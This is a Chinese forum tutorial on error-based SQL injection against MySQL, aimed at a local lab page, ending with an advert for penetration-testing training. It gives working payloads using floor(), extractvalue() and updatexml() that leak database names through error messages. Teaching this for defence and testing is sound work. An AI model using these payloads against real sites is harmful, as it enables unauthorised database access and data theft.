(六)SQL注入—报错注入

[复制链接]
发表于 2025-11-12 22:03:57 | 显示全部楼层 |阅读模式
Error-based SQL injection


利用前提:
        页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysql_error()
        
优点:
        不需要显示位
缺点:
        需要输出mysql_error()的报错信息


构造报错注入语句的基本步骤:
截图202511121437452067.png


http://localhost/sqleasy/news.php?newsid=111 and extractvalue(1,concat(0x7e,(select database()),0x7e))


常见的报错注入函数:


1.floor()
2.extractvalue()
3.updatexml()
4.geometrycollection()
5.multipoint()
6.polygon()


7.multipolygon()
8.linestring()
9.multilinestring()
10.exp()



Error-based SQL injection--floor()



1.利用floor()函数报错注入        floor报错:https://www.cnblogs.com/sfriend/p/11365999.html



一般报错注入举例:


?name=lucy' and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2))) --+&submit=查询

截图202511121439043582.png

或者:

?name=lucy' union select 1,count(*) from information_schema.tables group by concat(database(),0x7e,floor(rand(0)*2)) --+&submit=查询

截图202511121439389466.png



Error-based SQL injection--extractvalue()



extractvalue()函数作用:函数也是MYSQL对XML文档数据进行查询的XPATH函数。


语法: ExtractValue(xml_document, xpath_string)


第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)


Xpath定位必须是有效的,否则则会发生错误;所以可以在这个位置植入表达式,做执行后报错.
注意:
        一次返回值最大为32位,当数据库名大于32,需要结合其他方式使用

extractvalue(1,concat(0x7e,substr((select database()),2,2),0x7e))


2.利用extractvalue()函数报错注入



报错查询语句:


extractvalue(1,concat(0x7e,(select database()),0x7e))


举例:


?id= 1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

截图202511121440408752.png



Error-based SQL injection--Updatexml()


Updatexml()函数作用:是MYSQL对XML文档数据进行查询和修改的XPATH函数


语法:UPDATEXML (xml_document, XPathstring, new_value)


第一个参数:xml_document,文档名称
第二个参数:XPathstring (Xpath格式的字符串),做内容定位。
第三个参数:new_value,String格式,替换查找到的符合条件的值


Xpath定位必须是有效的,否则则会发生错误;所以可以在这个位置植入表达式,做执行后报错
注意:
        一次返回值最大为32位,当数据库名大于32,需要结合其他方式使用


3.利用updatexml函数报错注入



报错查询语句:

  1. updatexml(1,concat(0x7e,(select database()),0x7e),1)
复制代码


举例:

  1. ?id= 1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
复制代码
截图202511121442488303.png


了解其他报错函数注入方式:http://www.nvhack.com/forum.php? ... =%E6%8A%A5%E9%94%99




必火网络安全培训,北京实地培训,月月有开班,零基础入门,四个月打造渗透高手。
详情请加微信:nvhack/153-2000-4362,手机微信同号。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|女黑客安全网 |网站地图 | 津ICP备17008032号-3

GMT+8, 2026-2-2 05:17 , Processed in 0.087942 second(s), 26 queries .

Powered by Discuz! X3.5

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表